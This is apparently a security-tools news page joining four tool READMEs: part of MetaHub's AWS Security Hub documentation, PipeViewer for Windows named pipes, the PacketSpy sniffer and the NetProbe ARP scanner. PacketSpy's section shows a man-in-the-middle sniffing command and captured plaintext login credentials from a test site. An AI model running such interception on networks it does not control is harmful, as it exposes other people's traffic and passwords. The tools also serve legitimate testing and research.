If you are running MetaHub for a multiple AWS Account setup (AWS Security Hub is aggregating findings from multiple AWS Accounts), you must provide the role to assume for Context queries because the affected resources are not in the same AWS Account that the AWS Security Hub findings. The --mh-assume-role will be used to connect with the affected resources directly in the affected account. This role needs to have enough policies for being able to describe resources.

IAM Policy for Context

The minimum policy needed for context includes the managed policy arn:aws:iam::aws:policy/SecurityAudit and the following actions:

• tag:GetResources
• lambda:GetFunction
• lambda:GetFunctionUrlConfig
• cloudtrail:LookupEvents
• account:GetAlternateContact
• organizations:DescribeAccount
• iam:ListAccountAliases

Examples

Inputs

MetaHub can read security findings directly from AWS Security Hub using its API. If you don't use Security Hub, you can use any ASFF-based scanner. Most cloud security scanners support the ASFF format. Check with them or leave an issue if you need help.

If you want to read from an input ASFF file, you need to use the options:

./metahub.py --inputs file-asff --input-asff path/to/the/file.json.asff path/to/the/file2.json.asff

You also can combine AWS Security Hub findings with input ASFF files specifying both inputs:

./metahub.py --inputs file-asff securityhub --input-asff path/to/the/file.json.asff

When using a file as input, you can't use the option --sh-filters for filter findings, as this option relies on AWS API for filtering. You can't use the options --update-findings or --enrich-findings as those findings are not in the AWS Security Hub. If you are reading from both sources at the same time, only the findings from AWS Security Hub will be updated.

Output Modes

MetaHub can generate different programmatic and visual outputs. By default, all output modes are enabled: json-short, json-full, json-statistics, json-inventory, html, csv, and xlsx.

The outputs will be saved in the outputs/ folder with the execution date.

If you want only to generate a specific output mode, you can use the option --output-modes with the desired output mode.

For example, if you only want to generate the output json-short, you can use:

./metahub.py --output-modes json-short

If you want to generate json-short, json-full and html outputs, you can use:

./metahub.py --output-modes json-short json-full html

• JSON
• HTML
• CSV
• XLSX

JSON

JSON-Short

Show all findings titles together under each affected resource and the AwsAccountId, Region, and ResourceType:

JSON-Full

Show all findings with all data. Findings are organized by ResourceId (ARN). For each finding, you will also get: SeverityLabel, Workflow, RecordState, Compliance, Id, and ProductArn:

JSON-Inventory

Show a list of all resources with their ARN.

JSON-Statistics

Show statistics for each field/value. In the output, you will see each field/value and the number of occurrences; for example, the following output shows statistics for six findings.

HTML

You can create rich HTML reports of your findings, adding your context as part of them.

HTML Reports are interactive in many ways:

• You can add/remove columns.
• You can sort and filter by any column.
• You can auto-filter by any column
• You can group/ungroup findings
• You can also download that data to xlsx, CSV, HTML, and JSON.

CSV

You can create CSV reports of your findings, adding your context as part of them.

 

XLSX

Similar to CSV but with more formatting options.

Customize HTML, CSV or XLSX outputs

You can customize which Context keys to unroll as columns for your HTML, CSV, and XLSX outputs using the options --output-tag-columns and --output-config-columns (as a list of columns). If the keys you specified don't exist for the affected resource, they will be empty. You can also configure these columns by default in the configuration file (See Customizing Configuration).

For example, you can generate an HTML output with Tags and add "Owner" and "Environment" as columns to your report using the:

./metahub --output-modes html --output-tag-columns Owner Environment

Filters

You can filter the security findings and resources that you get from your source in different ways and combine all of them to get exactly what you are looking for, then re-use those filters to create alerts.

• Security Hub Filtering
• Security Hub Filtering using YAML templates
• Config Filters
• Tags Filters

Security Hub Filtering

MetaHub supports filtering AWS Security Hub findings in the form of KEY=VALUE filtering for AWS Security Hub using the option --sh-filters, the same way you would filter using AWS CLI but limited to the EQUALS comparison. If you want another comparison, use the option --sh-template Security Hub Filtering using YAML templates.

You can check available filters in AWS Documentation

./metahub --sh-filters <KEY=VALUE>

If you don't specify any filters, default filters are applied: RecordState=ACTIVE WorkflowStatus=NEW

Passing filters using this option resets the default filters. If you want to add filters to the defaults, you need to specify them in addition to the default ones. For example, adding SeverityLabel to the default filters:

./metahub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW

If a value contains spaces, you should specify it using double quotes: "ProductName="Security Hub"

You can add how many different filters you need to your query and also add the same filter key with different values:

Examples:

• Filter by Severity (CRITICAL):

./metaHub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW SeverityLabel=CRITICAL

• Filter by Severity (CRITICAL and HIGH):

./metaHub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW SeverityLabel=CRITICAL SeverityLabel=HIGH

• Filter by Severity and AWS Account:

./metaHub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW SeverityLabel=CRITICAL AwsAccountId=1234567890

• Filter by Check Title:

./metahub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW Title="EC2.22 Unused EC2 security groups should be removed"

• Filter by AWS Resource Type:

./metahub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW ResourceType=AwsEc2SecurityGroup

• Filter by Resource ID:

./metahub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW ResourceId="arn:aws:ec2:eu-west-1:01234567890:security-group/sg-01234567890"

• Filter by Finding Id:

./metahub --sh-filters Id="arn:aws:security hub:eu-west-1:01234567890:subscription/aws-foundational-security-best-practices/v/1.0.0/EC2.19/finding/01234567890-1234-1234-1234-01234567890"

• Filter by Compliance Status:

./metahub --sh-filters ComplianceStatus=FAILED

Security Hub Filtering using YAML templates

MetaHub lets you create complex filters using YAML files (templates) that you can re-use when needed. YAML templates let you write filters using any comparison supported by AWS Security Hub like "EQUALS' | 'PREFIX' | 'NOT_EQUALS' | 'PREFIX_NOT_EQUALS". You can call your YAML file using the option --sh-template <<FILE>>.

You can find examples under the folder templates

• Filter using YAML template default.yml:

./metaHub --sh-template templates/default.yml

Config Filters

MetaHub supports Config filters (and associations) using KEY=VALUE where the value can only be True or False using the option --mh-filters-config. You can use as many filters as you want and separate them using spaces. If you specify more than one filter, you will get all resources that match all filters.

Config filters only support True or False values:

• A Config filter set to True means True or with data.
• A Config filter set to False means False or without data.

Config filters run after AWS Security Hub filters:

1. MetaHub fetches AWS Security Findings based on the filters you specified using --sh-filters (or the default ones).
2. MetaHub executes Context for the AWS-affected resources based on the previous list of findings
3. MetaHub only shows you the resources that match your --mh-filters-config, so it's a subset of the resources from point 1.

Examples:

• Get all Security Groups (ResourceType=AwsEc2SecurityGroup) with AWS Security Hub findings that are ACTIVE and NEW (RecordState=ACTIVE WorkflowStatus=NEW) only if they are associated to Network Interfaces (network_interfaces=True):

./metahub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW ResourceType=AwsEc2SecurityGroup --mh-filters-config network_interfaces=True

• Get all S3 Buckets (ResourceType=AwsS3Bucket) only if they are public (public=True):

./metahub --sh-filters ResourceType=AwsS3Bucket --mh-filters-config public=False

Tags Filters

MetaHub supports Tags filters in the form of KEY=VALUE where KEY is the Tag name and value is the Tag Value. You can use as many filters as you want and separate them using spaces. Specifying multiple filters will give you all resources that match at least one filter.

Tags filters run after AWS Security Hub filters:

1. MetaHub fetches AWS Security Findings based on the filters you specified using --sh-filters (or the default ones).
2. MetaHub executes Tags for the AWS-affected resources based on the previous list of findings
3. MetaHub only shows you the resources that match your --mh-filters-tags, so it's a subset of the resources from point 1.

Examples:

• Get all Security Groups (ResourceType=AwsEc2SecurityGroup) with AWS Security Hub findings that are ACTIVE and NEW (RecordState=ACTIVE WorkflowStatus=NEW) only if they are tagged with a tag Environment and value Production:

./metahub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW ResourceType=AwsEc2SecurityGroup --mh-filters-tags Environment=Production

Updating Workflow Status

You can use MetaHub to update your AWS Security Hub Findings workflow status (NOTIFIED, NEW, RESOLVED, SUPPRESSED) with a single command. You will use the --update-findings option to update all the findings from your MetaHub query. This means you can update one, ten, or thousands of findings using only one command. AWS Security Hub API is limited to 100 findings per update. Metahub will split your results into 100 items chucks to avoid this limitation and update your findings beside the amount.

For example, using the following filter: ./metahub --sh-filters ResourceType=AwsSageMakerNotebookInstance RecordState=ACTIVE WorkflowStatus=NEW I found two affected resources with three finding each making six Security Hub findings in total.

Running the following update command will update those six findings' workflow status to NOTIFIED with a Note:

./metahub --update-findings Workflow=NOTIFIED Note="Enter your ticket ID or reason here as a note that you will add to the finding as part of this update."

The --update-findings will ask you for confirmation before updating your findings. You can skip this confirmation by using the option --no-actions-confirmation.

Enriching Findings

You can use MetaHub to enrich back your AWS Security Hub Findings with Context outputs using the option --enrich-findings. Enriching your findings means updating them directly in AWS Security Hub. MetaHub uses the UserDefinedFields field for this.

By enriching your findings directly in AWS Security Hub, you can take advantage of features like Insights and Filters by using the extra information not available in Security Hub before.

For example, you want to enrich all AWS Security Hub findings with WorkflowStatus=NEW, RecordState=ACTIVE, and ResourceType=AwsS3Bucket that are public=True with Context outputs:

./metahub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW ResourceType=AwsS3Bucket --mh-filters-checks public=True --enrich-findings

The --enrich-findings will ask you for confirmation before enriching your findings. You can skip this confirmation by using the option --no-actions-confirmation.

Findings Aggregation

Working with Security Findings sometimes introduces the problem of Shadowing and Duplication.

Shadowing is when two checks refer to the same issue, but one in a more generic way than the other one.

Duplication is when you use more than one scanner and get the same problem from more than one.

Think of a Security Group with port 3389/TCP open to 0.0.0.0/0. Let's use Security Hub findings as an example.

If you are using one of the default Security Standards like AWS-Foundational-Security-Best-Practices, you will get two findings for the same issue:

• EC2.18 Security groups should only allow unrestricted incoming traffic for authorized ports
• EC2.19 Security groups should not allow unrestricted access to ports with high risk

If you are also using the standard CIS AWS Foundations Benchmark, you will also get an extra finding:

• 4.2 Ensure no security groups allow ingress from 0.0.0.0/0 to port 3389

Now, imagine that SG is not in use. In that case, Security Hub will show an additional fourth finding for your resource!

• EC2.22 Unused EC2 security groups should be removed

So now you have in your dashboard four findings for one resource!

Suppose you are working with multi-account setups and many resources. In that case, this could result in many findings that refer to the same thing without adding any extra value to your analysis.

MetaHub aggregates security findings under the affected resource.

This is how MetaHub shows the previous example with output-mode json-short:

"arn:aws:ec2:eu-west-1:01234567890:security-group/sg-01234567890": {
  "findings": [
    "EC2.19 Security groups should not allow unrestricted access to ports with high risk",
    "EC2.18 Security groups should only allow unrestricted incoming traffic for authorized ports",
    "4.2 Ensure no security groups allow ingress from 0.0.0.0/0 to port 3389",
    "EC2.22 Unused EC2 security groups should be removed"
  ],
  "AwsAccountId": "01234567890",
  "Region": "eu-west-1",
  "ResourceType": "AwsEc2SecurityGroup"
}

This is how MetaHub shows the previous example with output-mode json-full:

"arn:aws:ec2:eu-west-1:01234567890:security-group/sg-01234567890": {
  "findings": [
    {
      "EC2.19 Security groups should not allow unrestricted access to ports with high risk": {
        "SeverityLabel": "CRITICAL",
        "Workflow": {
          "Status": "NEW"
        },
        "RecordState": "ACTIVE",
        "Compliance": {
          "Status": "FAILED"
        },
        "Id": "arn:aws:security hub:eu-west-1:01234567890:subscription/aws-foundational-security-best-practices/v/1.0.0/EC2.22/finding/01234567890-1234-1234-1234-01234567890",
        "ProductArn": "arn:aws:security hub:eu-west-1::product/aws/security hub"
      }
    },
    {
      "EC2.18 Security groups should only allow unrestricted incoming traffic for authorized ports": {
        "SeverityLabel": "HIGH",
        "Workflow": {
          "Status": "NEW"
        },
        "RecordState": "ACTIVE",<   br/>        "Compliance": {
          "Status": "FAILED"
        },
        "Id": "arn:aws:security hub:eu-west-1:01234567890:subscription/aws-foundational-security-best-practices/v/1.0.0/EC2.22/finding/01234567890-1234-1234-1234-01234567890",
        "ProductArn": "arn:aws:security hub:eu-west-1::product/aws/security hub"
      }
    },
    {
      "4.2 Ensure no security groups allow ingress from 0.0.0.0/0 to port 3389": {
        "SeverityLabel": "HIGH",
        "Workflow": {
          "Status": "NEW"
        },
        "RecordState": "ACTIVE",
        "Compliance": {
          "Status": "FAILED"
        },
        "Id": "arn:aws:security hub:eu-west-1:01234567890:subscription/aws-foundational-security-best-practices/v/1.0.0/EC2.22/finding/01234567890-1234-1234-1234-01234567890",
        "ProductArn": "arn:aws:security hub:eu-west-1::product/aws/security hub"
      }
    },
    {
      "EC2.22    Unused EC2 security groups should be removed": {
        "SeverityLabel": "MEDIUM",
        "Workflow": {
          "Status": "NEW"
        },
        "RecordState": "ACTIVE",
        "Compliance": {
          "Status": "FAILED"
        },
        "Id": "arn:aws:security hub:eu-west-1:01234567890:subscription/aws-foundational-security-best-practices/v/1.0.0/EC2.22/finding/01234567890-1234-1234-1234-01234567890",
        "ProductArn": "arn:aws:security hub:eu-west-1::product/aws/security hub"
      }
    }
  ],
  "AwsAccountId": "01234567890",
  "AwsAccountAlias": "obfuscated",
  "Region": "eu-west-1",
  "ResourceType": "AwsEc2SecurityGroup"
}

Your findings are combined under the ARN of the resource affected, ending in only one result or one non-compliant resource.

You can now work in MetaHub with all these four findings together as if they were only one. For example, you can update these four Workflow Status findings using only one command: See Updating Workflow Status

Contributing

You can follow this guide if you want to contribute to the Context module guide.

Download Metahub

PipeViewer - A Tool That Shows Detailed Information About Named Pipes In Windows

The tool was published as part of a research about Docker named pipes:
"Breaking Docker Named Pipes SYSTEMatically: Docker Desktop Privilege Escalation – Part 1"
"Breaking Docker Named Pipes SYSTEMatically: Docker Desktop Privilege Escalation – Part 2"

Overview

PipeViewer is a GUI tool that allows users to view details about Windows Named pipes and their permissions. It is designed to be useful for security researchers who are interested in searching for named pipes with weak permissions or testing the security of named pipes. With PipeViewer, users can easily view and analyze information about named pipes on their systems, helping them to identify potential security vulnerabilities and take appropriate steps to secure their systems.

Usage

Double-click the EXE binary and you will get the list of all named pipes.

Build

We used Visual Studio to compile it.
When downloading it from GitHub you might get error of block files, you can use PowerShell to unblock them:

Get-ChildItem -Path 'D:\tmp\PipeViewer-main' -Recurse | Unblock-File

Warning

We built the project and uploaded it so you can find it in the releases.
One problem is that the binary will trigger alerts from Windows Defender because it uses the NtObjerManager package which is flagged as virus.
Note that James Forshaw talked about it here.
We can't change it because we depend on third-party DLL.

Features

• A detailed overview of named pipes.
• Filter\highlight rows based on cells.
• Bold specific rows.
• Export\Import to\from JSON.
• PipeChat - create a connection with available named pipes.

Demo

Credit

We want to thank James Forshaw (@tyranid) for creating the open source NtApiDotNet which allowed us to get information about named pipes.

License

Copyright (c) 2023 CyberArk Software Ltd. All rights reserved
This repository is licensed under Apache-2.0 License - see LICENSE for more details.

References

For more comments, suggestions or questions, you can contact Eviatar Gerzi (@g3rzi) and CyberArk Labs.

PacketSpy - Powerful Network Packet Sniffing Tool Designed To Capture And Analyze Network Traffic

PacketSpy is a powerful network packet sniffing tool designed to capture and analyze network traffic. It provides a comprehensive set of features for inspecting HTTP requests and responses, viewing raw payload data, and gathering information about network devices. With PacketSpy, you can gain valuable insights into your network's communication patterns and troubleshoot network issues effectively.

Features

• Packet Capture: Capture and analyze network packets in real-time.
• HTTP Inspection: Inspect HTTP requests and responses for detailed analysis.
• Raw Payload Viewing: View raw payload data for deeper investigation.
• Device Information: Gather information about network devices, including IP addresses and MAC addresses.

Installation

git clone https://github.com/HalilDeniz/PacketSpy.git

Requirements

PacketSpy requires the following dependencies to be installed:

pip install -r requirements.txt

Getting Started

To get started with PacketSpy, use the following command-line options:

root@denizhalil:/PacketSpy# python3 packetspy.py --help                          
usage: packetspy.py [-h] [-t TARGET_IP] [-g GATEWAY_IP] [-i INTERFACE] [-tf TARGET_FIND] [--ip-forward] [-m METHOD]

options:
  -h, --help            show this help message and exit
  -t TARGET_IP, --target TARGET_IP
                        Target IP address
  -g GATEWAY_IP, --gateway GATEWAY_IP
Gateway IP address
  -i INTERFACE, --interface INTERFACE
                        Interface name
  -tf TARGET_FIND, --targetfind TARGET_FIND
                        Target IP range to find
  --ip-forward, -if     Enable packet forwarding
  -m METHOD, --method METHOD
                        Limit sniffing to a specific HTTP method

Examples

1. Device Detection

root@denizhalil:/PacketSpy# python3 packetspy.py -tf 10.0.2.0/24 -i eth0

        Device discovery
**************************************
   Ip Address       Mac Address
**************************************
    10.0.2.1      52:54:00:12:35:00
    10.0.2.2      52:54:00:12:35:00
    10.0.2.3      08:00:27:78:66:95
    10.0.2.11     08:00:27:65:96:cd
    10.0.2.12     08:00:27:2f:64:fe

2. Man-in-the-Middle Sniffing

root@denizhalil:/PacketSpy# python3 packetspy.py -t 10.0.2.11 -g 10.0.2.1 -i eth0
******************* started sniff *******************

HTTP Request:
    Method: b'POST'
    Host: b'testphp.vulnweb.com'
    Path: b'/userinfo.php'
    Source IP: 10.0.2.20
    Source MAC: 08:00:27:04:e8:82
    Protocol: HTTP
    User-Agent: b'Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0'

Raw Payload:
b'uname=admin&pass=mysecretpassword'

HTTP Response:
    Status Code: b'302'
    Content Type: b'text/html; charset=UTF-8'
--------------------------------------------------

FootNote

Https work still in progress

Contributing

Contributions are welcome! To contribute to PacketSpy, follow these steps:

1. Fork the repository.
2. Create a new branch for your feature or bug fix.
3. Make your changes and commit them.
4. Push your changes to your forked repository.
5. Open a pull request in the main repository.

Contact

If you have any questions, comments, or suggestions about PacketSpy, please feel free to contact me:

• LinkedIn: LinkedIn
• TryHackMe: TryHackMe
• Instagram: Instagram
• YouTube: YouTube
• Email: halildeniz313@gmail.com

License

PacketSpy is released under the MIT License. See LICENSE for more information.

NetProbe - Network Probe

NetProbe is a tool you can use to scan for devices on your network. The program sends ARP requests to any IP address on your network and lists the IP addresses, MAC addresses, manufacturers, and device models of the responding devices.

Features

• Scan for devices on a specified IP address or subnet
• Display the IP address, MAC address, manufacturer, and device model of discovered devices
• Live tracking of devices (optional)
• Save scan results to a file (optional)
• Filter by manufacturer (e.g., 'Apple') (optional)
• Filter by IP range (e.g., '192.168.1.0/24') (optional)
• Scan rate in seconds (default: 5) (optional)

Download

You can download the program from the GitHub page.

$ git clone https://github.com/HalilDeniz/NetProbe.git

Installation

To install the required libraries, run the following command:

$ pip install -r requirements.txt

Usage

To run the program, use the following command:

$ python3 netprobe.py [-h] -t  [...] -i  [...] [-l] [-o] [-m] [-r] [-s]

• -h,--help: show this help message and exit
• -t,--target: Target IP address or subnet (default: 192.168.1.0/24)
• -i,--interface: Interface to use (default: None)
• -l,--live: Enable live tracking of devices
• -o,--output: Output file to save the results
• -m,--manufacturer: Filter by manufacturer (e.g., 'Apple')
• -r,--ip-range: Filter by IP range (e.g., '192.168.1.0/24')
• -s,--scan-rate: Scan rate in seconds (default: 5)

Example:

$ python3 netprobe.py -t 192.168.1.0/24 -i eth0 -o results.txt -l

Help Menu

$ python3 netprobe.py --help                      
usage: netprobe.py [-h] -t  [...] -i  [...] [-l] [-o] [-m] [-r] [-s]

NetProbe: Network Scanner Tool

options:
  -h, --help            show this help message and exit
  -t  [ ...], --target  [ ...]
                        Target IP address or subnet (default: 192.168.1.0/24)
  -i  [ ...], --interface  [ ...]
                        Interface to use (default: None)
  -l, --live            Enable live tracking of devices
  -o , --output         Output file to save the results
  -m , --manufacturer   Filter by manufacturer (e.g., 'Apple')
  -r , --ip-range       Filter by IP range (e.g., '192.168.1.0/24')
  -s , --scan-rate      Scan rate in seconds (default: 5)

Default Scan

$ python3 netprobe.py 

Live Tracking

You can enable live tracking of devices on your network by using the -l or --live flag. This will continuously update the device list every 5 seconds.

$ python3 netprobe.py -t 192.168.1.0/24 -i eth0 -l

Save Results

You can save the scan results to a file by using the -o or --output flag followed by the desired output file name.

$ python3 netprobe.py -t 192.168.1.0/24 -i eth0 -l -o results.txt

┏━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ IP Address   ┃ MAC Address       ┃ Packet Size ┃ Manufacturer                 ┃
┡━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ 192.168.1.1  │ **:6e:**:97:**:28 │ 102         │ ASUSTek COMPUTER INC.        │
│ 192.168.1.3  │ 00:**:22:**:12:** │ 102         │ InPro Comm                   │
│ 192.168.1.2  │ **:32:**:bf:**:00 │ 102         │ Xiaomi Communications Co Ltd │
│ 192.168.1.98 │ d4:**:64:**:5c:** │ 102         │ ASUSTek COMPUTER INC.        │
│ 192.168.1.25 │ **:49:**:00:**:38 │ 102         │ Unknown                      │
└──────────────┴───────────────────┴─────────────┴──────────────────────────────┘

Contact

If you have any questions, suggestions, or feedback about the program, please feel free to reach out to me through any of the following platforms:

• Mywebsite: Denizhalil
• LinkedIn: LinkedIn
• TryHackMe: TryHackMe
• Instagram: Instagram
• YouTube: YouTube
• Email: halildeniz313@gmail.com

License

This program is released under the MIT LICENSE. See LICENSE for more information.